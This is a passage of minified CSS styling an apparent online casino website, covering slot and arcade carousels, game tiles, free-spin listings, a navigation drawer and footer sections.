100%; height: 100% } .home-carousel .slick-slider .slick-dots { bottom: 0; display: flex!important; display: flex; align-items: center; justify-content: center } .home-carousel .slick-slider .slick-dots li { width: 1rem; height: .75rem; margin: 0 1px; display: flex; align-items: center; justify-content: center } .home-carousel .slick-slider .slick-dots li button { width: 1rem; height: .75rem } .home-carousel .slick-slider .slick-dots li button:before { width: 1rem; height: .75rem; opacity: .5; font-size: .5rem; line-height: normal; color: #fff } .home-carousel .slick-slider .slick-dots li.slick-active button:before { opacity: 1 } .home-carousel .slick-slider .slick-slide { height: unset!important } .home-carousel .slick-slider .slide { display: block; width: 100%; height: 100%; -o-object-fit: cover; object-fit: cover; pointer-events: none } idata-v-1272be00 { margin-right: .5rem } .running-text { position: relative; display: flex; align-items: center; font-size: .875rem; padding: .5rem 0 .5rem 1rem } .running-text marquee { margin-left: .5rem } .running-text:after,.running-text:before { position: absolute; top: 0; width: 50px; height: 100%; content: ; z-index: 2; pointer-events: none } .running-text:before { left: 2rem } .running-text:after { right: 0 } .running-text--light { background-color: #191f22 } .running-text--light:before { background: linear-gradient(90deg,#191f22 0,rgba(41,50,60,0)) } .running-text--light:after { background: linear-gradient(270deg,#191f22 0,rgba(41,50,60,0)) } .running-text--primary { background-color: #D3AF37 } .running-text--primary:before { background: linear-gradient(90deg,#D3AF37 0,rgba(23,30,38,0)) } .running-text--primary:after { background: linear-gradient(270deg,#D3AF37 0,rgba(23,30,38,0)) } .running-text--d { overflow: hidden; margin-bottom: .5rem; border-radius: 5px } .app-menudata-v-9cfb8622 { position: relative; left: -.5rem; z-index: 1; overflow: hidden; width: calc(100% + 1rem) } .app-menu--primarydata-v-9cfb8622 { background-color: #D3AF37 } .app-menu--darkdata-v-9cfb8622 { background-color: #191f22 } .app-menudata-v-9cfb8622:after,.app-menudata-v-9cfb8622:before { position: absolute; top: 0; opacity: 0; z-index: 2; content: ; width: 50px; pointer-events: none; height: calc(100% + 20px); transition: opacity .2s ease } .app-menudata-v-9cfb8622:before { left: 0; background: linear-gradient(90deg,#191f22 0,rgba(16,19,23,0)) } .app-menudata-v-9cfb8622:after { right: 0; background: linear-gradient(270deg,#191f22 0,rgba(16,19,23,0)) } .app-menu--shadow-enddata-v-9cfb8622:after,.app-menu--shadow-startdata-v-9cfb8622:before { opacity: 1 } .app-menu uldata-v-9cfb8622 { display: flex; align-items: center; overflow: hidden; overflow-x: scroll; overflow-x: overlay; scroll-behavior: smooth; -ms-scroll-snap-type: x mandatory; scroll-snap-type: x mandatory; scrollbar-width: none; -ms-overflow-style: none } .app-menu uldata-v-9cfb8622::-webkit-scrollbar { display: none } .app-menu ul lidata-v-9cfb8622 { scroll-snap-align: start } .app-menu ul .app-menu__observerdata-v-9cfb8622 { display: block; width: 1px; height: 1px; flex-shrink: 0 } .app-menu ul .app-menu__itemdata-v-9cfb8622 { flex: 0 0 20%; padding: 0 .25rem } .app-menu ul .app-menu__item adata-v-9cfb8622 { position: relative; font-size: .75rem; font-weight: 700; padding: 1rem 0; display: flex; flex-direction: column; align-items: center; justify-content: center } .app-menu ul .app-menu__item a spandata-v-9cfb8622 { display: block; margin-top: .5rem } .app-menu ul .app-menu__item a .app-menu--activedata-v-9cfb8622 { position: absolute; bottom: -1rem } .app-menu ul .app-menu__item a.app-link--activedata-v-9cfb8622 { color: #D3AF37 } .app-menu ul .app-menu__item a.app-link--active .app-menu--activedata-v-9cfb8622 { bottom: 0 } .app-menu ul .app-menu__item--font-large adata-v-9cfb8622 { font-size: .875rem } .app-menu ul .app-menu__item--font-large a .app-menu--activedata-v-9cfb8622 { bottom: -1.25rem } @media(min-width: 640px) { .app-menu uldata-v-9cfb8622 { justify-content:space-evenly } .app-menu ul .app-menu__itemdata-v-9cfb8622 { flex: unset } } .app-menu--ddata-v-9cfb8622 { width: 100%; left: unset; margin-top: -.5rem } .app-menu--d uldata-v-9cfb8622 { display: flex; align-items: center; justify-content: center } .app-menu--d ul .app-menu__itemdata-v-9cfb8622 { margin: 0 1rem } .brand-icon { display: block } .brand-icon--xs { width: 1.5rem; height: 1.5rem } .brand-icon--sm { width: 2rem; height: 2rem } .brand-icon--md { width: 2.5rem; height: 2.5rem } .brand-icon--lg { width: 5rem; height: 5rem } .brand-icon--xl { width: 10rem; height: 10rem } .brand-icon--xxl { width: 15rem; height: 15rem } .brand-icon--responsive { width: 100%; height: 100%; -o-object-fit: contain; object-fit: contain } .brand-icon--landscape { width: 100%; max-width: 10rem } .card { position: relative; z-index: 2; left: -.5rem; overflow: hidden; padding-bottom: 1rem; width: calc(100% + 1rem); border-radius: 20px 20px 0 0 } @media(min-width: 1024px) { .card { width:100%; left: 0 } } .card--light { background-color: #191f22 } .card--primary { background-color: #D3AF37 } .card.card--primary .card__see-all { background-color: #191f22 } .card .card__see-all { font-weight: 700; font-size: .75rem; padding: .2rem .75rem; background-color: #191f22; border-radius: 10px } .card__title a { display: flex; align-items: center; font-size: .875rem; font-weight: 700 } .card__title a img,.card__title a object,.card__title a svg { margin-right: .5rem } .card__image { display: block; width: 100%; border-radius: 5px } .card__body { max-width: 100% } .card--full { display: grid; align-items: center; grid-template-rows: auto 1fr auto } .card--full .card__header { padding: 1rem; display: flex; flex-direction: row; align-items: center; justify-content: space-between } .card--full .card__title { margin-bottom: 0 } .card--full .card__cta { padding: .5rem 1rem 0 } @media(min-width: 1024px) { .card--full .card__cta { width:100%; max-width: 20rem; justify-self: center } .card--full .card__header { padding: 0 } } .card--inline { display: grid; grid-gap: 1rem; padding: 0 1rem; border-radius: 0; align-items: center; grid-template-columns: repeat(6,minmax(0,1fr)) } .card--inline .card__title { justify-self: start; padding: 1rem 0 } .card--inline .card__body { grid-column: span 4 } .card--inline .card__see-all { grid-column: 6/7; justify-self: center } .card--split { display: grid; padding: 0 1rem; grid-gap: .75rem; grid-template-columns: repeat(2,minmax(0,1fr)) } .card--split .card__title { padding: 1rem 0 } .card--split .card__cta { margin-top: .5rem } .card--d.card--full .card__header { padding: 1rem } .card--d.card--full .card__body { padding: 0 1rem } .slot-carousel__groupdata-v-60fb8dfc { width: 100%; display: grid; flex-shrink: 0; align-content: start; grid-auto-flow: column; grid-template-rows: repeat(3,minmax(0,1fr)); grid-template-columns: repeat(5,minmax(0,1fr)) } .slot-carousel__item-containerdata-v-60fb8dfc { display: grid; grid-template-rows: repeat(2,minmax(0,1fr)) } .slot-carousel__itemdata-v-60fb8dfc { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center } .slot-carousel__item spandata-v-60fb8dfc { width: 100%; font-weight: 500; text-align: center; font-size: .625rem; margin-top: .125rem; overflow: hidden; white-space: nowrap; text-overflow: ellipsis } @media(min-width: 1024px) { .slot-carousel__item spandata-v-60fb8dfc { font-size:.75rem } } .slot-carousel__item.app-link--exact-activedata-v-60fb8dfc { color: #D3AF37 } .slot-carousel__item.app-link--exact-active .slot-carousel__img-containerdata-v-60fb8dfc { border: 1px solid #D3AF37 } .slot-carousel__img-containerdata-v-60fb8dfc { position: relative; width: 3.5rem; height: 3.5rem; display: flex; align-items: center; justify-content: center; background-color: #191f22; border-radius: 50%; border: 1px solid #191f22 } .slot-carousel__img-container imgdata-v-60fb8dfc { width: 100% } .slot-carousel__img-containerdata-v-60fb8dfc:before { position: absolute; bottom: 0; left: 0; width: 100%; height: 30% } .slot-carousel__img-container.provider--promodata-v-60fb8dfc:before { content: ; filter: drop-shadow(.1rem .1rem .1rem #191f22); background: 0 100%/contain no-repeat url() } .slot-carousel__img-container.provider--newdata-v-60fb8dfc:before { content: ; filter: drop-shadow(.1rem .1rem .1rem #191f22); background: 0 100%/contain no-repeat url() } .slot-carousel__maintenancedata-v-60fb8dfc { position: absolute; top: 0; right: -20%; width: 1.5rem; height: 1.5rem; padding: .1rem; display: flex; align-items: center; justify-content: center; background-color: #D3AF37; border-radius: 50% } .slot-carousel__maintenance idata-v-60fb8dfc { color: #fdd835 } .slot-carousel__by-habanerodata-v-60fb8dfc,.slot-carousel__by-pragmaticdata-v-60fb8dfc { position: absolute; right: -22%; bottom: -5px; width: 2rem; height: 2rem } .slot-carousel__by-habanero imgdata-v-60fb8dfc,.slot-carousel__by-pragmatic imgdata-v-60fb8dfc { display: block; width: 100%; height: 100%; -o-object-fit: contain; object-fit: contain; filter: drop-shadow(0 0 .2rem #191f22) } .slot-carousel--d .slot-carousel__groupdata-v-60fb8dfc { grid-template-rows: unset; grid-template-columns: repeat(8,minmax(0,1fr)) } .slot-carousel--d .slot-carousel__group--ud .slot-carousel__itemdata-v-60fb8dfc:nth-child(2n) { grid-row: unset } .carouseldata-v-4f72f8a2 { display: grid; overflow: hidden; grid-template-columns: auto 1fr auto } .carouseldata-v-4f72f8a2,.carousel__controldata-v-4f72f8a2 { position: relative; align-items: center } .carousel__controldata-v-4f72f8a2 { display: flex; width: 1.5rem; height: 4rem; cursor: pointer; color: #D3AF37; z-index: 2 } .carousel__control idata-v-4f72f8a2 { z-index: 2 } .carousel__control.highlightdata-v-4f72f8a2:before { position: absolute; color: #191f22; font-size: 3.5rem; content: ; font-family: idn } .carousel__control--disableddata-v-4f72f8a2 { pointer-events: none; color: hsla(0,0%,100%,.38) } .carousel__prevdata-v-4f72f8a2 { padding-left: .25rem } .carousel__prevdata-v-4f72f8a2:before { left: 0 } .carousel__nextdata-v-4f72f8a2 { padding-right: .25rem; justify-content: flex-end } .carousel__nextdata-v-4f72f8a2:before { right: 0; transform: rotate(180deg) } .carousel__innerdata-v-4f72f8a2 { overflow: hidden } .carousel__containerdata-v-4f72f8a2 { display: flex } .carousel__container.transitiondata-v-4f72f8a2 { transition: transform .3s ease-out } .carousel--d .carousel__controldata-v-4f72f8a2 { width: auto; height: 2rem } .casino-carousel ul { display: flex; overflow: hidden; overflow-x: scroll; overflow-x: overlay; scroll-behavior: smooth; -ms-scroll-snap-type: x mandatory; scroll-snap-type: x mandatory; scrollbar-width: none; -ms-overflow-style: none } .casino-carousel ul::-webkit-scrollbar { display: none } .casino-carousel__item { position: relative; flex: 0 0 28%; display: flex; align-items: flex-end; overflow: hidden; margin-right: .5rem; scroll-snap-align: center; border-radius: 5px; background-color: #D3AF37 } .casino-carousel__item:nth-last-child(2) { margin-right: 0 } .casino-carousel__fill { width: 1rem; height: 10px; flex-shrink: 0 } .casino-gamedata-v-223f59df { position: relative; overflow: hidden; border-radius: 5px } .casino-game--maintenancedata-v-223f59df { pointer-events: none } .casino-game adata-v-223f59df { cursor: pointer; position: relative; width: 100% } .casino-game a .casino-game__containerdata-v-223f59df { position: relative; height: 0; padding-bottom: 162.03209%; display: flex; align-items: flex-end; overflow: hidden; border-radius: 5px } .casino-game a .casino-game__containerdata-v-223f59df:before { position: absolute; left: 0; top: 0; z-index: 2; content: ; width: 100%; height: 100%; pointer-events: none; border-radius: 5px; border: 2px solid #191f22 } .casino-game a .casino-game__containerdata-v-223f59df:after { position: absolute; left: 0; bottom: 0; width: 100%; height: 50%; content: ; background: linear-gradient(0deg,#191f22,transparent 30%,transparent) } .casino-game a .casino-game__container>imgdata-v-223f59df { position: absolute; width: 100%; left: 0; bottom: 0; opacity: 1; will-change: opacity; transition: opacity .2s ease } .casino-game a .casino-game__container>img.placeholderdata-v-223f59df { height: 100%; -o-object-fit: contain; object-fit: contain } .casino-game a .casino-game__maintenancedata-v-223f59df { position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 2; padding: .5rem; display: flex; flex-direction: column; align-items: center; justify-content: center; background-color: rgba(23,30,38,.8) } .casino-game a .casino-game__maintenance spandata-v-223f59df { font-size: .75rem; text-align: center; font-weight: 500; margin-top: .25rem } .casino-game a .casino-game__maintenance imgdata-v-223f59df { position: relative } .casino-game--history-viewdata-v-223f59df { display: grid; grid-gap: 1rem; align-items: center; grid-template-columns: 2fr 3fr } @media(min-width: 1024px) { .casino-game--history-viewdata-v-223f59df { grid-template-columns:1fr 5fr } } .casino-game--dark a>.casino-game__containerdata-v-223f59df:before { border-color: #191f22 } .casino-game--promo a>.casino-game__containerdata-v-223f59df:before { border: 2px solid #139c44 } .casino-game--promodata-v-223f59df:not(.casino-game--history-view):after { position: absolute; right: 0; bottom: -1px; z-index: 3; content: attr(data-flag); text-transform: uppercase; font-weight: 700; font-style: italic; font-size: .5rem; padding: .25rem .5rem; background: 50%/contain no-repeat url() } .casino-game--new a .casino-game__containerdata-v-223f59df:before { border: 2px solid #ff4343 } .casino-game--newdata-v-223f59df:not(.casino-game--history-view):after { position: absolute; right: 0; bottom: -1px; z-index: 3; min-width: 3rem; content: attr(data-flag); text-transform: uppercase; font-weight: 700; font-style: italic; font-size: .5rem; text-align: center; padding: .25rem .5rem; background: 50%/contain no-repeat url() } .casino-game--special a .casino-game__containerdata-v-223f59df:before { border: 2px solid #D3AF37 } .casino-game--specialdata-v-223f59df:not(.casino-game--history-view):after { position: absolute; right: 0; top: -1px; z-index: 3; content: attr(data-flag); text-transform: uppercase; font-weight: 700; font-style: italic; font-size: .5rem; padding: .25rem .5rem; background: 50%/contain no-repeat url() } .casino-game.casino-game--new.casino-game--special a .casino-game__containerdata-v-223f59df:before { border-color: #f6004d } .casino-game.casino-game--new.casino-game--specialdata-v-223f59df:not(.casino-game--history-view):after { position: absolute; right: 0; top: -1px; bottom: unset; z-index: 3; color: #fff; content: attr(data-flag); text-transform: uppercase; font-weight: 700; font-style: italic; font-size: .5rem; padding: .25rem .5rem; background: 50%/contain no-repeat url() } .casino-game__providerdata-v-223f59df { display: block; left: 0; bottom: 0; padding: .25rem .375rem } .casino-game__namedata-v-223f59df,.casino-game__providerdata-v-223f59df { position: absolute; width: 100%; font-weight: 700; font-size: .5rem; color: #fff } .casino-game__namedata-v-223f59df { display: none; top: 2rem; z-index: 2; padding: 0 .5rem; text-align: center } .casino-game__countdata-v-223f59df { min-width: 1.5rem; font-weight: 700; font-size: .5rem; padding: 1px; text-align: center; color: #fff; border-radius: 5px; background-color: #191f22; border: 2px solid #191f22; border-top: 4px solid #191f22 } .casino-game__countdata-v-223f59df,.casino-game__languagedata-v-223f59df { position: absolute; z-index: 4; top: .25rem; left: .25rem } .casino-game__languagedata-v-223f59df { width: 1rem; height: 1rem; border-radius: 50% } .casino-game__language imgdata-v-223f59df { display: block; width: 100%; height: 100% } .casino-game__skeletondata-v-223f59df { position: absolute; top: 0; left: 0; width: 100%; height: 100%; overflow: hidden; background-color: #D3AF37 } .casino-game__skeletondata-v-223f59df:before { content: ; display: block; position: absolute; left: -150px; top: 0; height: 100%; width: 100%; -webkit-animation: skeleton 1s cubic-bezier(.4,0,.2,1) infinite; animation: skeleton 1s cubic-bezier(.4,0,.2,1) infinite; background: linear-gradient(90deg,transparent 0,#191f22 50%,transparent) } .casino-game__placeholderdata-v-223f59df { position: absolute; top: 0; left: 0; opacity: 0; height: 100%; width: 100%; display: flex; align-items: center; justify-content: center; padding: .5rem; background-color: #D3AF37; will-change: opacity; transition: opacity .2s ease } .casino-game__placeholder imgdata-v-223f59df { display: block; width: 3.5rem; height: 3.5rem; -o-object-fit: contain; object-fit: contain } @media(min-width: 1024px) { .casino-game__placeholder imgdata-v-223f59df { width:4rem; height: 4rem } } .casino-game__historydata-v-223f59df { display: grid; grid-gap: .5rem; grid-template-columns: repeat(2,minmax(0,1fr)) } .casino-game__history>adata-v-223f59df { cursor: pointer } .casino-game__history h5data-v-223f59df { grid-row: 1/2; grid-column: 1/-1; overflow: hidden; white-space: nowrap; text-overflow: ellipsis } .casino-game__history pdata-v-223f59df { grid-column: 1/2; font-size: .75rem } .casino-game__history adata-v-223f59df { grid-row: 2/5; grid-column: 2/3; align-self: end } @media(min-width: 1024px) { .casino-game__history h5data-v-223f59df { grid-column:1/2 } .casino-game__history adata-v-223f59df { grid-row: 1/5; justify-self: end; align-self: center } } .casino-game--d.casino-game--newdata-v-223f59df:after,.casino-game--d.casino-game--promodata-v-223f59df:after { bottom: -2px; min-width: 80px; font-size: .75rem; padding: .375rem .75rem } .casino-game--d.casino-game--specialdata-v-223f59df:after { top: -2px; min-width: 80px; font-size: .75rem; text-align: center; padding: .375rem .75rem } .casino-game--d .casino-game__namedata-v-223f59df,.casino-game--d .casino-game__providerdata-v-223f59df { font-size: .675rem } .casino-game--d .casino-game__countdata-v-223f59df { top: .5rem; left: .5rem; min-width: 2rem; padding: .125rem; font-size: .75rem } .casino-game--d .casino-game__languagedata-v-223f59df { top: .5rem; left: .5rem; width: 1.5rem; height: 1.5rem } .casino-game.casino-game--d.casino-game--special.casino-game--newdata-v-223f59df:after { top: -2px; font-size: .75rem; padding: .375rem .75rem } .arcade-carousel--light .carousel__control.highlight:before { color: #191f22 } .arcade-carousel uldata-v-3615b381 { display: grid; width: 100%; flex-shrink: 0; align-content: start; grid-auto-flow: column; grid-auto-columns: 20% } .arcade-carousel__itemdata-v-3615b381 { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center } .arcade-carousel__item spandata-v-3615b381 { width: 100%; font-weight: 500; text-align: center; font-size: .625rem; margin-top: .125rem; overflow: hidden; white-space: nowrap; text-overflow: ellipsis } @media(min-width: 1024px) { .arcade-carousel__item spandata-v-3615b381 { font-size:.75rem } } .arcade-carousel__item.app-link--exact-activedata-v-3615b381 { color: #D3AF37 } .arcade-carousel__item.app-link--exact-active .arcade-carousel__img-containerdata-v-3615b381 { border: 1px solid #D3AF37 } .arcade-carousel__img-containerdata-v-3615b381 { position: relative; width: 3.5rem; height: 3.5rem; display: flex; align-items: center; justify-content: center; border-radius: 50% } .arcade-carousel__img-container imgdata-v-3615b381 { width: 100% } .arcade-carousel__img-containerdata-v-3615b381:before { position: absolute; bottom: 0; left: 0; width: 100%; height: 30% } .arcade-carousel__img-container.provider--promodata-v-3615b381:before { content: ; filter: drop-shadow(.1rem .1rem .1rem #191f22); background: 0 100%/contain no-repeat url() } .arcade-carousel__img-container.provider--newdata-v-3615b381:before { content: ; filter: drop-shadow(.1rem .1rem .1rem #191f22); background: 0 100%/contain no-repeat url() } .arcade-carousel__maintenancedata-v-3615b381 { position: absolute; top: 0; right: -20%; width: 1.5rem; height: 1.5rem; padding: .1rem; display: flex; align-items: center; justify-content: center; background-color: #D3AF37; border-radius: 50% } .arcade-carousel__maintenance idata-v-3615b381 { color: #fdd835 } .arcade-carousel__by-idndata-v-3615b381 { position: absolute; right: -2px; bottom: -2px; width: 1.25rem; height: 1.25rem; background-color: #fff; border-radius: 50% } .arcade-carousel__by-idn imgdata-v-3615b381 { position: relative; left: 1.5px; display: block; width: 100%; height: 100%; -o-object-fit: contain; object-fit: contain } .arcade-carousel--dark .arcade-carousel__img-containerdata-v-3615b381 { background-color: #191f22; border: 1px solid #191f22 } .arcade-carousel--light .carousel__control.highlightdata-v-3615b381:before { color: #191f22 } .arcade-carousel--light .arcade-carousel__img-containerdata-v-3615b381 { background-color: #191f22; border: 1px solid #191f22 } .arcade-carousel--d uldata-v-3615b381 { grid-auto-columns: 12.5% } .footer-banner { padding: .5rem; background-color: #D3AF37; border-top: 1px solid hsla(0,0%,100%,.1) } .footer-banner a { overflow: hidden; height: 100%; max-height: 8rem } .footer-banner img { display: block; width: 100%; height: 100%; -o-object-fit: contain; object-fit: contain } .footer-banner--d { margin-bottom: -.5rem } .footer-textdata-v-bd310b88 { font-size: .75rem; background-color: #D3AF37; border-top: 1px solid hsla(0,0%,100%,.1) } .footer-text__containerdata-v-bd310b88 { position: relative; display: flex; justify-content: center; margin: 0 auto; max-height: 8rem; padding: 1rem 1rem 2rem; max-width: 1200px; transition: max-height .2s ease; border-bottom: 1px solid hsla(0,0%,100%,.1) } .footer-text articledata-v-bd310b88 { position: relative; width: 100%; overflow: hidden } .footer-text articledata-v-bd310b88:after { position: absolute; bottom: 0; content: ; width: 100%; height: 24px; background: linear-gradient(0deg,#D3AF37,rgba(23,30,38,0)) } .footer-text buttondata-v-bd310b88 { position: absolute; bottom: .5rem; color: #D3AF37; font-size: .75rem } .footer-text--collapseddata-v-bd310b88 { max-height: 1000px } .footer-text--collapsed articledata-v-bd310b88:after { content: unset } .footer-text--d .footer-text__containerdata-v-bd310b88 { max-height: 8rem } .footer-text--d .footer-text--collapseddata-v-bd310b88 { max-height: 1000px } .app-footer { position: relative; padding: 1rem 0; color: #fff; background-color: #D3AF37; margin-bottom: calc(60px + env(safe-area-inset-bottom)) } .app-footer__container { margin: 0 auto; padding: 0 1rem; max-width: 1200px } .app-footer section { margin-bottom: 1rem; padding-bottom: 1rem; border-bottom: 1px solid hsla(0,0%,100%,.1) } .app-footer section h5 { margin-bottom: .75rem } .app-footer__links { display: grid; grid-row-gap: 1rem; grid-template-columns: repeat(2,minmax(0,1fr)) } .app-footer__link-group a,.app-footer__link-group button { color: hsla(0,0%,100%,.6); font-size: .75rem } .app-footer__link-groupdata-typelegal li:last-child a:after { content: ; font-family: idn } .app-footer__link-groupdata-typebrand li:last-child a:after,.app-footer__link-groupdata-typebrand li:last-child button:after { content: ; font-family: idn; margin-left: .25rem } .app-footer__link-group--social ul { display: flex } .app-footer__link-group--social ul li { margin-right: .75rem } .app-footer__link-group--social ul li:last-child { margin-right: 0 } .app-footer section.app-footer__text { position: relative; display: flex; justify-content: center; padding-bottom: 2rem; box-sizing: content-box; transition: max-height .2s ease } .app-footer section.app-footer__text article { position: relative; overflow: hidden } .app-footer section.app-footer__text article p { margin: .5rem 0; font-size: .75rem; color: hsla(0,0%,100%,.6) } .app-footer section.app-footer__text article p:last-child { margin-bottom: 0 } .app-footer section.app-footer__text article ol,.app-footer section.app-footer__text article ul { list-style-position: inside } .app-footer section.app-footer__text article:after { position: absolute; bottom: 0; content: ; width: 100%; height: 24px; background: linear-gradient(0deg,#D3AF37,rgba(23,30,38,0)) } .app-footer section.app-footer__text button { position: absolute; bottom: .5rem; color: #D3AF37; font-size: .75rem } .app-footer section.app-footer__text--collapsed { padding-bottom: calc(.5rem + 24px) } .app-footer section.app-footer__text--collapsed article:after { content: unset } .app-footer__idn h5 { color: #D3AF37; text-align: center; margin-bottom: 1rem } .app-footer__idn ul,.app-footer__idn ul a { display: flex; align-items: center; justify-content: center } .app-footer__idn ul a { padding: .5rem } .app-footer__idn ul a img { height: 1rem } .app-footer__partners h5 { color: #D3AF37; text-align: center; margin-bottom: 1rem } .app-footer__partners ul { display: grid; grid-template-columns: repeat(auto-fit,minmax(5rem,1fr)) } .app-footer__partners ul li { flex-grow: 1; min-width: 15%; align-items: center } .app-footer__partners ul li a { padding: .5rem; font-size: .75rem; white-space: nowrap; color: hsla(0,0%,100%,.6); display: flex; flex-direction: column; align-items: center; justify-content: center } .app-footer__partners ul li a i { color: #D3AF37; margin-bottom: .25rem } .app-footer__payment h5 { color: #D3AF37; text-align: center; margin-bottom: 1rem } .app-footer__payment ul { display: grid; grid-gap: .25rem; grid-auto-rows: 2.5rem; grid-auto-flow: dense; grid-template-columns: repeat(6,minmax(0,1fr)) } .app-footer__payment ul li { display: flex; align-items: center; justify-content: center; padding: .5rem; overflow: hidden; border-radius: 5px; border: 1px solid #191f22 } .app-footer__payment ul li.bank-logo--h { grid-column: span 2 } .app-footer__payment ul li img { width: 100%; height: 100%; -o-object-fit: contain; object-fit: contain } .app-footer__licence img { width: 100%; max-height: 22px; -o-object-fit: contain; object-fit: contain } .app-footer__copyright { font-size: .75rem; text-align: center } .app-footer--d { margin-bottom: 0; margin-top: -.5rem } .app-footer--d .app-footer__links { grid-template-columns: repeat(4,minmax(0,1fr)) } .app-footer--d .app-footer__link-group--social { justify-self: end } .app-footer--d .app-footer__idn h5 { text-align: left } .app-footer--d .app-footer__idn ul { justify-content: space-evenly } .app-footer--d .app-footer__idn ul img { width: auto; height: 2rem } .app-footer--d .app-footer__idn ul a:hover img { filter: grayscale(1) } .app-footer--d .app-footer__partners h5,.app-footer--d .app-footer__payment h5 { text-align: left; margin-bottom: .5rem } .app-footer--d .app-footer__payment ul { grid-template-columns: repeat(auto-fit,minmax(4rem,1fr)) } .sticky-footer { position: relative; width: 100%; bottom: 0; z-index: 99; background-color: #191f22; border-top: 1px solid #191f22; padding-bottom: env(safe-area-inset-bottom); height: calc(60px + env(safe-area-inset-bottom)) } @media(min-height: 550px) { .sticky-footer { position:fixed } } .sticky-footer__nav>ul { display: grid; grid-template-columns: repeat(5,minmax(0,1fr)) } .sticky-footer__nav>ul .btn { width: 100%; border-radius: 0; font-weight: 700; font-size: .75rem; display: flex; flex-direction: column; align-items: center; justify-content: center; height: 60px } .sticky-footer__nav>ul .btn span { margin-top: .25rem } .sticky-footer__nav>ul .btn.app-link--active { color: #D3AF37 } .sticky-footer__nav--user>ul { grid-template-columns: repeat(6,minmax(0,1fr)) } .sticky-footer__balance { overflow: hidden; font-weight: 500; font-size: .75rem; padding: 0 .25rem; color: #fff; grid-column: span 2; display: flex; flex-direction: column; align-items: center; justify-content: center; background-color: #D3AF37 } .sticky-footer__balance span { max-width: 100%; overflow: hidden; white-space: nowrap; text-overflow: ellipsis } .sticky-footer__balance .sticky-footer__username { width: 100%; font-weight: 700; margin-top: .25rem; display: flex; align-items: center; justify-content: center } .sticky-footer__balance .sticky-footer__username i { margin-right: .25rem } .app-drawer__rootdata-v-05d51de6 { position: fixed; pointer-events: none; z-index: 999; top: 90px; right: 0; bottom: 0; left: 0 } .app-drawer__backdropdata-v-05d51de6 { position: fixed; top: 0; right: 0; bottom: 0; left: 0 } .app-drawer__backdropdata-v-05d51de6:before { position: relative; top: 90px; display: block; content: ; width: 100%; height: calc(100% - 90px); background-color: rgba(0,0,0,.5); -webkit-tap-highlight-color: transparent } .app-drawerdata-v-05d51de6 { position: absolute; right: calc(-300px - 1rem); width: 300px; height: 100%; overflow-y: auto; overflow-y: overlay; background-color: #191f22; transform: translateX(0); transition: transform 225ms cubic-bezier(.4,0,.2,1) 0ms; scrollbar-width: none; -ms-overflow-style: none; display: grid; grid-template-columns: 100%; grid-template-rows: auto 1fr auto } .app-drawerdata-v-05d51de6::-webkit-scrollbar { display: none } .app-drawer--opendata-v-05d51de6 { pointer-events: all } .app-drawer--open .app-drawerdata-v-05d51de6 { transform: translateX(calc(-300px - 1rem)) } .drawer-fade-enter-activedata-v-05d51de6,.drawer-fade-leave-activedata-v-05d51de6 { transition: opacity 225ms cubic-bezier(.4,0,.2,1) 0ms } .drawer-fade-enterdata-v-05d51de6,.drawer-fade-leave-todata-v-05d51de6 { opacity: 0 } .app-drawer__headerdata-v-05d51de6 { background-color: #191f22 } .app-drawer__header uldata-v-05d51de6 { display: grid; grid-gap: 1rem; padding: 1rem; grid-template-columns: repeat(4,minmax(0,1fr)) } .app-drawer__header lidata-v-05d51de6 { flex: 0 0 25%; padding: .5rem } .app-drawer__header adata-v-05d51de6 { font-weight: 700; font-size: .75rem; display: flex; flex-direction: column; align-items: center; justify-content: center } .app-drawer__header a spandata-v-05d51de6 { display: block; margin-top: .5rem; white-space: nowrap } .app-drawer__header a.app-link--activedata-v-05d51de6 { color: #D3AF37 } .app-drawer__nav__item .badgedata-v-05d51de6 { height: unset; padding: 0 .625rem } .app-drawer__nav__item adata-v-05d51de6,.app-drawer__nav__item buttondata-v-05d51de6 { position: relative; width: 100%; display: flex; align-items: center; padding: 1rem 1rem 1rem .25rem; font-weight: 700; font-size: .875rem; color: #fff } .app-drawer__nav__item a.app-link--exact-activedata-v-05d51de6,.app-drawer__nav__item button.app-link--exact-activedata-v-05d51de6 { color: #D3AF37; background-color: rgba(13,191,187,.1) } .app-drawer__nav__item a>divdata-v-05d51de6,.app-drawer__nav__item button>divdata-v-05d51de6 { position: absolute; width: 3rem; height: 100%; display: flex; align-items: center; justify-content: center } .app-drawer__nav__item a i.dropdown-toggledata-v-05d51de6,.app-drawer__nav__item button i.dropdown-toggledata-v-05d51de6 { margin-left: auto } .app-drawer__nav__item a spandata-v-05d51de6,.app-drawer__nav__item button spandata-v-05d51de6 { margin-left: 3rem } @media(hover: hover)and (min-width:1024px) { .app-drawer__nav__item adata-v-05d51de6:hover,.app-drawer__nav__item buttondata-v-05d51de6:hover { color:#D3AF37 } } .app-drawer__nav__item__dropdowndata-v-05d51de6 { overflow: hidden } .app-drawer__nav__item__dropdown.dropdown-collapseddata-v-05d51de6 { background-color: rgba(13,191,187,.1) } .app-drawer__nav__item__dropdown.dropdown-collapsed>buttondata-v-05d51de6 { color: #D3AF37 } @media(hover: hover)and (min-width:1024px) { .app-drawer__nav__item__dropdown:hover>buttondata-v-05d51de6 { color:#D3AF37 } } .app-drawer__nav__item__dropdown uldata-v-05d51de6 { background-color: rgba(0,0,0,.1); transition: height .2s ease } .app-drawer__freespins uldata-v-05d51de6 { display: grid; max-height: 0; grid-gap: 1px; overflow: hidden; background-color: #191f22; transition: max-height .2s ease } .app-drawer__freespins ul.app-drawer__freespins--collapseddata-v-05d51de6 { max-height: 600px } .app-drawer__freespins ul lidata-v-05d51de6 { display: grid; padding: .5rem 1rem; align-items: center; grid-column-gap: .25rem; grid-template-rows: auto auto; grid-template-columns: auto 3.5rem 3rem; background: linear-gradient(90deg,#191f22 0,#191f22) } .app-drawer__freespins ul li .game-namedata-v-05d51de6 { font-weight: 700; font-size: .875rem; overflow: hidden; white-space: nowrap; text-overflow: ellipsis } .app-drawer__freespins ul li .no-spinsdata-v-05d51de6 { font-weight: 700; font-size: .75rem; grid-column: span 3 } .app-drawer__freespins ul li .fs-detaildata-v-05d51de6 { display: grid; font-size: .625rem } .app-drawer__freespins ul li .fs-detail spandata-v-05d51de6:first-child { font-weight: 600 } .app-drawer__freespins ul li emdata-v-05d51de6 { width: 100%; grid-row: 1/3; grid-column: 2/3; font-weight: 900; font-size: .75rem; font-style: normal; border-radius: 5px; padding: .25rem .375rem } .app-drawer__freespins ul li adata-v-05d51de6 { display: flex; align-items: center; justify-content: center; grid-row: 1/3; grid-column: 3/4; padding: .25rem 